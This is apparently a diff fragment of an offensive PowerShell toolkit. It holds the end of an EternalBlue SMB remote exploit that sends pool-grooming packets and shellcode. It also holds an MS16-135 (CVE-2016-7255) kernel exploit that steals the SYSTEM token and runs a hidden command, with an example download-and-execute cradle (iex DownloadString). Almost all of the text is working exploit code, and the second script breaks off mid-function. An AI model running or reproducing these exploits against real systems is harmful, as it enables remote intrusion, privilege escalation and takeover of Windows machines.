# netbios[1] =$pkt +=0x00' + struct.pack('>H length)
$hexlen = [bitconverter]::GetBytes($len)[-2..-4]
$pkt[1] = $hexlen[0]
$pkt[2] = $hexlen[1]
$pkt[3] = $hexlen[2]
return $pkt
}
function smb_header($smbheader) {
$parsed_header =@{server_component=$smbheader[0..3];
smb_command=$smbheader[4];
error_class=$smbheader[5];
reserved1=$smbheader[6];
error_code=$smbheader[6..7];
flags=$smbheader[8];
flags2=$smbheader[9..10];
process_id_high=$smbheader[11..12];
signature=$smbheader[13..21];
reserved2=$smbheader[22..23];
tree_id=$smbheader[24..25];
process_id=$smbheader[26..27];
user_id=$smbheader[28..29];
multiplex_id=$smbheader[30..31];
}
return $parsed_header
}
function smb1_get_response($sock){
$tcp_response = [Array]::CreateInstance("byte", 1024)
try{
$sock.Receive($tcp_response)| out-null
}
catch {
Write-Verbose "socket error, exploit may fail "
}
$netbios = $tcp_response[0..4]
$smb_header = $tcp_response[4..36] # SMB Header: 32 bytes
$parsed_header = smb_header($smb_header)
return $tcp_response, $parsed_header
}
function client_negotiate($sock){
$raw_proto = negotiate_proto_request
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function smb1_anonymous_login($sock){
$raw_proto = make_smb1_anonymous_login_packet
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function tree_connect_andx($sock, $Target, $userid){
$raw_proto = tree_connect_andx_request $Target $userid
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function smb1_anonymous_connect_ipc($Target)
{
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
$sock = $client.Client
client_negotiate($sock) | Out-Null
$raw, $smbheader = smb1_anonymous_login $sock
$raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id
return $smbheader, $sock
}
function smb1_large_buffer($smbheader,$sock){
$nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
# send NT Trans
$sock.Send($nt_trans_pkt) | out-null
$raw, $transheader = smb1_get_response($sock)
#initial trans2 request
$trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
#send all but the last packet
for($i =1; $i -le 14; $i++) {
$trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
}
$trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id
$sock.Send($trans2_pkt_nulled) | out-null
smb1_get_response($sock) | Out-Null
}
function smb1_free_hole($start) {
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
$sock = $client.Client
client_negotiate($sock) | Out-Null
if($start) {
$pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
}
else {
$pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
}
$sock.Send($pkt) | out-null
smb1_get_response($sock) | Out-Null
return $sock
}
function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){
for($i =0; $i -lt $grooms; $i++)
{
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
$gsock = $client.Client
$groom_socks += $gsock
$gsock.Send($payload_hdr_pkt) | out-null
}
return $groom_socks
}
function smb_eternalblue($Target, $grooms, $Shellcode) {
#replace null bytes with your shellcode
[Byte[]] $payload = [Byte[]]($Shellcode)
$shellcode = make_kernel_user_payload($payload)
$payload_hdr_pkt = make_smb2_payload_headers_packet
$payload_body_pkt = make_smb2_payload_body_packet($shellcode)
Write-Verbose "Connecting to target for activities"
$smbheader, $sock = smb1_anonymous_connect_ipc($Target)
$sock.ReceiveTimeout =2000
Write-Verbose "Connection established for exploitation."
# Step 2: Create a large SMB1 buffer
Write-Verbose "all but last fragment of exploit packet"
smb1_large_buffer $smbheader $sock
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
# initialize_groom_threads(ip, port, payload, grooms)
$fhs_sock = smb1_free_hole $true
$groom_socks =@()
$groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks
$fhf_sock = smb1_free_hole $false
$fhs_sock.Close() | Out-Null
$groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks
$fhf_sock.Close() | out-null
Write-Verbose "Running final exploit packet"
$final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15
try{
$sock.Send($final_exploit_pkt) | Out-Null
$raw, $exploit_smb_header = smb1_get_response $sock
Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
}
catch {
Write-Verbose "socket error, exploit may fail horribly"
}
Write-Verbose "Send the payload with the grooms"
foreach ($gsock in $groom_socks)
{
$gsock.Send($payload_body_pkt[0..2919]) | out-null
}
foreach ($gsock in $groom_socks)
{
$gsock.Send($payload_body_pkt[2920..4072]) | out-null
}
foreach ($gsock in $groom_socks)
{
$gsock.Close() | out-null
}
$sock.Close()| out-null
}
$VerbosePreference = "continue"
for ($i=0; $i -lt $MaxAttempts; $i++) {
$grooms = $InitialGrooms + $GROOM_DELTA*$i
smb_eternalblue $Target $grooms $Shellcode
}
}

View File

@ -0,0 +1,986 @@
function Invoke-MS16135 {
<#
.SYNOPSIS
PowerShell implementation of MS16-135 (CVE-2016-7255).
Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro
Credit for the original PoC : TinySec (@TinySecEx)
Credit for the Powershell implementation : Ruben Boonen (@FuzzySec)
Targets:
* Win7-Win10 (x64 only)
Successfully tested on :
* Win7 x64
* Win8.1 x64
* Win10 x64
* Win2k12 R2 x64
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
EDIT: This script has been edited to include a parameter for custom commands and
also hides the spawned shell. Many comments have also been removed and echo has
moved to Write-Verbose. The original can be found at:
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1
.EXAMPLE
C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
Description
-----------
Will run the iex download cradle as SYSTEM
#>
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$Command
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
[StructLayout(LayoutKind.Sequential)]
public struct INPUT
{
public int itype;
public KEYBDINPUT U;
public int Size;
}
[StructLayout(LayoutKind.Sequential)]
public struct KEYBDINPUT
{
public UInt16 wVk;
public UInt16 wScan;
public uint dwFlags;
public int time;
public IntPtr dwExtraInfo;
}
[StructLayout(LayoutKind.Sequential)]
public struct tagMSG
{
public IntPtr hwnd;
public UInt32 message;
public UIntPtr wParam;
public UIntPtr lParam;
public UInt32 time;
public POINT pt;
}
public struct POINT
{
public Int32 x;
public Int32 Y;
}
public class ms16135
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASSEX
{
public uint cbSize;
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
public IntPtr hIconSm;
}
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.UInt16 RegisterClassW(
[System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandleW(
[MarshalAs(UnmanagedType.LPWStr)]
String lpModuleName);
[DllImport("user32.dll", EntryPoint="SetWindowLongPtr")]
public static extern IntPtr SetWindowLongPtr(
IntPtr hWnd,
int nIndex,
IntPtr dwNewLong);
[DllImport("user32.dll")]
public static extern bool ShowWindow(
IntPtr hWnd,
int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetParent(
IntPtr hWndChild,
IntPtr hWndNewParent);
[DllImport("user32.dll", SetLastError = false)]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
public static extern bool SetForegroundWindow(
IntPtr hWnd);
[DllImport("user32.dll", SetLastError=true)]
public static extern void SwitchToThisWindow(
IntPtr hWnd,
bool fAltTab);
[DllImport("user32.dll")]
public static extern bool GetMessage(
out tagMSG lpMsg,
IntPtr hWnd,
uint wMsgFilterMin,
uint wMsgFilterMax);
[DllImport("user32.dll")]
public static extern bool TranslateMessage(
[In] ref tagMSG lpMsg);
[DllImport("user32.dll")]
public static extern IntPtr DispatchMessage(
[In] ref tagMSG lpmsg);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetFocus(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern uint SendInput(
uint nInputs,
[In] INPUT pInputs,
int cbSize);
[DllImport("gdi32.dll")]
public static extern int GetBitmapBits(
IntPtr hbmp,
int cbBuffer,
IntPtr lpvBits);
[DllImport("gdi32.dll")]
public static extern int SetBitmapBits(
IntPtr hbmp,
int cbBytes,
IntPtr lpBits);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
public UInt16 CustomClass(string class_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASSEX wind_class = new WNDCLASSEX();
wind_class.lpszClassName = class_name;
///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#==============================================================[Banner]
$ms16135 = @"
_____ _____ ___ ___ ___ ___ ___
| | __|_ | | _|___|_ | |_ | _|
| | | |__ |_| |_| . |___|_| |_|_ |_ |
|_|_|_|_____|_____|___| |_____|___|___|
[by b33f -> @FuzzySec]
"@
$ms16135
if ([System.IntPtr]::Size -ne 8) {
"`n[!] Target architecture is x64 only!`n"
Return
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
Write-Verbose "[?] Target is Win 10"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.3' # Win8.1 / 2k12R2
{
Write-Verbose "[?] Target is Win 8.1"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.2' # Win8 / 2k12
{
Write-Verbose "[?] Target is Win 8"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.1' # Win7 / 2k8R2
{
Write-Verbose "[?] Target is Win 7"
Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n"
}
}
function Get-LoadedModules {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public UIntPtr[] Reserved;
public IntPtr ImageBase;
public UInt32 ImageSize;
public UInt32 Flags;
public UInt16 LoadOrderIndex;
public UInt16 InitOrderIndex;
public UInt16 LoadCount;
public UInt16 ModuleNameOffset;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
internal Char[] _ImageName;
public String ImageName {
get {
return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
}
}
}
public static class Ntdll
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
elseif ($CallResult -eq 0x00000000) {
break
}
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_MODULE_INFORMATION_Size = 284
} else {
$SYSTEM_MODULE_INFORMATION_Size = 296
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
$HashTable = @{
ImageName = $Cast.ImageName
ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
}
$Object = New-Object PSObject -Property $HashTable
$SystemModuleArray += $Object
$BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}
$SystemModuleArray
# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
function Stage-gSharedInfoBitmap {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class gSharedInfoBitmap
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("user32.dll")]
public static extern IntPtr CreateAcceleratorTable(
IntPtr lpaccl,
int cEntries);
[DllImport("user32.dll")]
public static extern bool DestroyAcceleratorTable(
IntPtr hAccel);
}
"@
if ([System.IntPtr]::Size -eq 4) {
$x32 = 1
}
function Create-AcceleratorTable {
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
if ($x32){
$gSharedInfo = $gSharedInfo.ToInt32()
} else {
$gSharedInfo = $gSharedInfo.ToInt64()
}
$aheList = $gSharedInfo + [System.IntPtr]::Size
if ($x32){
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
} else {
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
}
$Result = @()
$HashTable = @{
Handle = $AccelHandle
KernelObj = $phead
}
$Object = New-Object PSObject -Property $HashTable
$Result += $Object
$Result
}
function Destroy-AcceleratorTable {
param ($Hanlde)
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
}
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$KernelArray += Create-AcceleratorTable
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
if ($OSMajorMinor -eq "6.1") {
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7
} else {
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10
}
break
}
}
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i].KernelObj)
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}
function Bitmap-Elevate {
param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class BitmapElevate
{
[DllImport("gdi32.dll")]
public static extern int SetBitmapBits(
IntPtr hbmp,
uint cBytes,
byte[] lpBits);
[DllImport("gdi32.dll")]
public static extern int GetBitmapBits(
IntPtr hbmp,
int cbBuffer,
IntPtr lpvBits);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualFree(
IntPtr lpAddress,
uint dwSize,
uint dwFreeType);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool FreeLibrary(
IntPtr hModule);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
}
"@
function Bitmap-Read {
param ($Address)
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
if ($x32Architecture){
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
} else {
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
}
$CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
function Bitmap-Write {
param ($Address, $Value)
$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
$CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
Write-Verbose "`n[>] Leaking SYSTEM _EPROCESS.."
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)
Write-Verbose "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
Write-Verbose "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
Write-Verbose "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
Write-Verbose "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Verbose "`n[>] Spawn child"
$npipeName = Get-Random
Write-Verbose "`n[>] Choosen name : $npipeName"
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x00000000
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();",
$null, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
add-type -assemblyName "System.Core"
$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut)
$npipeServer.WaitForConnection()
$pipeReader = new-object System.IO.StreamReader($npipeServer)
$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)
$pipeWriter.AutoFlush = $true
$playerName = $pipeReader.ReadLine()
if($playerName -eq "ping")
{
Write-Verbose "[+] Ping from child, voila"
}
Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n"
Write-Verbose "`n[>] Leaking current _EPROCESS.."
Write-Verbose "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcessInfo.dwProcessId) {
Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)"
Write-Verbose "[+] PID: $NextPID"
Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
$PoShTokenAddr = $NextProcess+$TokenOffset
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
Write-Verbose "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
"`n[!] Success, spawning a system shell!"
Write-Verbose "[!] Sending command to the elevated child"
$pipeWriter.WriteLine($Command)
$npipeServer.Dispose()
}
function Sim-KeyDown {
param([Int]$wKey)
$KeyboardInput = New-Object KEYBDINPUT
$KeyboardInput.dwFlags = 0
$KeyboardInput.wVk = $wKey
$InputObject = New-Object INPUT
$InputObject.itype = 1
$InputObject.U = $KeyboardInput
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
if ($CallResult -eq 1) {
$true
} else {
$false
}
}
function Sim-KeyUp {
param([Int]$wKey)
$KeyboardInput = New-Object KEYBDINPUT
$KeyboardInput.dwFlags = 2
$KeyboardInput.wVk = $wKey
$InputObject = New-Object INPUT
$InputObject.itype = 1
$InputObject.U = $KeyboardInput
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
if ($CallResult -eq 1) {
$true
} else {
$false
}
}
function Do-AltShiftEsc {
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
